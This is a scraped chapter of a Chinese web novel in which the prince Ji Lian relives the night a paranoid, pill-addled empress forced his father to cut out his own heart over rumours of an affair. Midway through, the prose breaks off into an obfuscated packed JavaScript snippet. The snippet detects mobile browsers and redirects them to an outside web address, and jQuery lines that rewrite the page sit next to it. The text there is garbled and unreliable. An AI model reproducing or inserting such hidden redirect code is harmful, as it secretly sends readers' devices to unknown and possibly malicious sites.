13.第十三章
作品:《妻主她罪名昭著(女尊)》 即使已经是用澡豆反复揉搓肌肤,又以丁香藿香汤熏蒸周身,姬怜一闭眼,脑海中下一刻就自然浮现出谢廷玉那沾满粘稠血水的手指。
不管怎么做,这幅惊悚画面依然挥之不去。
他很想把他的脑子给扔了,这样子就不会想着谢廷玉了。
姬怜掀开锦被,躺进去。
锦被,枕头,以及用来遮掩光线的帐帘都是经过宫侍们特定熏香过的,将被子提至胸膛处的那刻,一股沁人心脾的青莲香漫入鼻息,姬怜此时此刻才觉得好多了。
昏昏沉沉之间,姬怜又做梦了。
不同于寻常,他梦到的是以前做过的梦,还有以前的事。
他梦到五岁那年做过的一个梦,那是一个他不想再重温的梦,因为有父亲当年的死亡场景。
砰!
月夜中,整个春和堂被这一声巨响给震醒了。
一个身穿明黄色龙袍的女人满面怒色地推开了春和堂的门,原本跟着皇帝身后的秉笔使、仪仗们面面相觑之下,只单单是眼神交流,便都默契地垂首退至廊下。
姬怜的心在此刻揪起来了。
他明明知道接下来会发生什么,他很想将这一切停止,但他做不到,只能眼睁睁地看着母皇大步走入殿内。
倡优出身的父亲自小懂得察言观色。
光听步伐便知晓天子的愤怒,他即刻停下手中的针线,双膝跪地,以额抵地,“侍身不知陛下躬临,未及远迎,罪该万死。”
自从皇帝听信袁氏的建议,对长生不老一事痴迷成狂,允准方士入宫,开始每日固定食用丹药以来,脾气便变得比以往更加暴躁,喜怒无常,身边侍奉的人没有哪一刻不是把脑袋提在脖子上办事的,战战兢兢,唯恐下一刻脑袋就和脖子分了家。
上一个颇受皇帝宠爱的慕容信,在和皇帝的对弈中因为说了不该说的,双手被齐腕斩去,如今人已下狱五日,恐怕过不了多久便会传出伤重不治的消息。
巨大的阴影笼住了父亲。
父亲忍不住颤抖,“陛下……”
皇帝背后负手,垂首盯着这位良人,沉声道:“抬起头来,看着朕。”
父亲依言抬头。
皇帝眼睛微眯,细细打量这位一舞动建康的绝世美人。一张动人的脸侧转下,是纤长白皙的脖颈,如此脆弱易折,只需要她用力一捏,便可了结此人的性命,但她现在还舍不得。
荣色艳丽,身段柔韧,如此浑然天成的一个尤物,她实在是舍不得就此毁去。
“你知道你自己长得很美吗?”
父亲颤声回:“侍…不知。”
皇帝一甩广袖,坐在美人榻上,父亲也随之转身,对着塌而跪。
“你是真的美,美到那夜在宫宴上以一舞,令满堂的人为你鼓掌倾盏,甚至是当场借用那篇洛神赋来称赞你。朕记得那赋文是怎么说来着?是‘翩若惊鸿,婉若游龙’,朕说得可对?”
父亲斟酌着字句回答:“侍只知当时献舞只为皇上,并没有对这些赞誉之词在意。”
“是因为里面没有你钟意的那位王璇玑,所以才不在意的吗?”皇帝目光冷凝,声音压低。
这一番话仿佛如腊月冰水当头浇下,直接将室内的气氛降到最低。
惊慌,错乱,窒息,这句话里的每一个字都像是一道雷,在上空猛烈炸开。
父亲撑在地上的手指逐渐收紧,胸腔里的心脏砰砰直跳,好一会才抬起头,声音笃定,“侍没有。”
他心下知道,皇帝之所以怒气冲冲地来此问话,是与坊间的传闻有关。
坊间不知为何开始流传起这么一件新的桃色轶事。
说是在前朝,新进献一批容颜上乘的倡优。某夜,专供这群倡优排练、休息的弦乐楼起了大火,外面的宫侍们见状,皆惊呼大叫“走水啦!走水啦!走水啦!”
正巧负责在宫内夜间巡逻的金吾卫见状,便立即闯入营救。
在这群伶人之中,有一位主舞在楼中的最顶层歇息,一觉醒来发现困于浓浓烟雾之中,火舌已舔舐梁柱,目不能视,可怜见得只能殒命于这一场火灾之中了。
可偏偏此时,在这一金吾卫队之中,却有那么一个人,非世家贵女出身,乃江湖上的一位游侠,经由东海王氏的长女引荐而入金吾卫。
此人名为王萱,面容英气风流,身形挺拔如松,武功超绝,是江湖上的一名顶尖中的顶尖高手。只见她身形似流星,脚踩飞檐翘角,矫若游龙,好似会飞一样直接到了最顶层。
主舞只看到烟雾中一只孔武有力的手朝他伸来,求生的本能促使他下意识地抓住。这名金吾卫毫不迟疑,一手揽着这位主舞的腰,纵身向下,两人平安地落到地上。
英雌救美,佳话天成。
落花有意,流水含情。
主舞对这名从天而降的金吾卫心生爱慕,日思夜想,金吾卫也有意为之。
两人于是花前月下,暗生情愫,最终不顾宫规森严,在一个霜重露冷的夜晚里,奔逃出宫,隐入山林。
如此风流浪漫的爱情故事向来是人们的心中好。
于是一传十,十传百,经市井文人润色成小说戏文,茶楼酒肆的说书人每日争相讲诵,不过旬月便传得满城皆知。
故事本没有错,但坏就坏在,这个故事中的人物是有原型的。
在当时,的确有一名金吾卫是江湖里赫赫有名的大拿,叫璇玑,号称绮罗血观音,因外貌旖丽,又被称作绮罗娘子。
此人在旅途中结识了琅琊王氏的长女王琢璋,后先因重重机缘,再因保护王琢璋有功,被王琢璋的母亲——现如今的镇远大将军王衡芫破格收作义女,赐姓王。
是以,建康城内的人都将其称作王璇玑。
故事里的大火,也确确实实在皇宫内发生过一回。王璇玑本人也实打实地从顶楼救下一名伶人,也正是现如今春和堂所住的良人。
如此一来,故事里的主舞指的便是良人,金吾卫王萱便是王璇玑,东海王氏便是琅琊王氏。
除了后续剧情发展不一样,基本人物能对得上号。
这么一个剧情前半部分高度重合的话本终于是在有心人的助推下,传到了皇帝的耳朵里。
在皇帝看来,这就像是一顶明晃晃的绿帽如同冠冕一般盖在她的头上。
桃色传闻的耻辱,混合着今日朝上王琢璋、王衡芫两人当众驳回她政-令的难堪 ,皇帝此刻的怒意恍如沸点一般,亟需宣泄。
——哗啦几声。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581967|170898||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
是小案上的东西全部倾倒砸在地,破裂之声此起彼伏,碎瓷片溅得满地狼藉,铜镜四分五裂。
皇帝凑过去,阴狠的眼神扫过良人苍白的面容,大力地钳住他的下颔。
“是没有,还是不敢?”
“侍……没有,也不敢。”良人艰难地吐出六个字。
“贱人,你也敢骗朕!”
皇帝一巴掌狠狠甩去,良人也不敢伸手捂住迅速红肿的脸颊,只是垂首跪伏,连啜泣之声都不敢发出。
“好啊……好啊……你们可真是好啊……一个两个三个……全都蒙骗朕!”
“你们琅琊王氏可真是好样的。王衡芫不过一个将军,敢骑在朕的头上,她的两个女儿也很好,一个亲生女儿,一个收养的江湖义女,很好很好都很好……”
“朕一定要把你们琅琊王氏都赶尽杀绝,朕一定要让王衡芜好好睁眼看着,她的两个女儿是如何一个接一个死的。”
癫狂的笑声在殿内炸开,皇帝扭曲的面容映着破碎铜镜里的多重倒影。在这一刻,所有压抑的疯狂彻底爆发了。
良人看着状若疯魔的皇帝,心生怯意却又无处可逃,只能慢慢地将身躯往后挪,好似这么做能离这个魔鬼远一点。
咣当一声。
良人寻声看去,一把匕首明晃晃地滑到他面前。寒光一闪,映出皇帝癫狂的双眸。
“爱侍可知比干挖心自证的典故?”
良人愣怔,喉结艰难地滚动了一下,艰涩地道:“侍知道。”
“北部的鲜卑族对朕的大周虎视眈眈。近日,她们派使者前来求亲,说是慕我中原风华,以求取一位皇子结两国秦晋之好。朕以为,这是一件好事。不动兵刃,只需要和亲便可维持边疆安宁。你以为如何?”
“皇上圣裁甚好。”
“可朕看来看去,觉得当属我们的怜儿最为标志。不如就将怜儿送去?”
良人双目睁大,声音颤抖,膝爬过去拽住皇帝的袍角,“皇上,怜儿才五岁啊!”
皇帝嗤笑一声,“可惜朕的这番美意被王衡芫,王琢璋两个逆臣当场驳斥,说这只是绥靖之策,也是对狄人的退让,根治之道唯有出征,那群该死的朝臣也是一片附和之声。”
她轻抬下颔,眼神阴鸷如鹰,“你不是忠诚于朕吗?你把心挖出来,如果你的心是赤诚的,那朕就信了,怜儿也不必去联姻,自有她们王氏来为朕冲锋陷阵。”
良人颤颤巍巍地拿起匕首。
血,大片的血浸湿了衣衫,顺着衣摆滴落在青砖上,很快洇湿了地面。
殿内死寂如坟。
姬怜指骨绷紧,死命地抓着身上的锦被,额角细汗频出。
地上大滩的血如恶鬼一样,向他扑咬过来。
他的头深陷枕衾间,眼角已经有清泪无声滚落。
他想醒来,他好想醒来,谁来救救他?
没有人会在此刻摇醒他。
此时已近子时,他的声音过于微弱,又有重重帐帘掩声,且他已过蛊虫发病期,绛珠并不会特地撩开帐帘来打扰他的歇息。
父亲身亡的噩梦终于如潮水退去,可还未等他在枕上喘匀一口气,他又身陷于另一个噩梦中,他梦见了另一个人的死亡。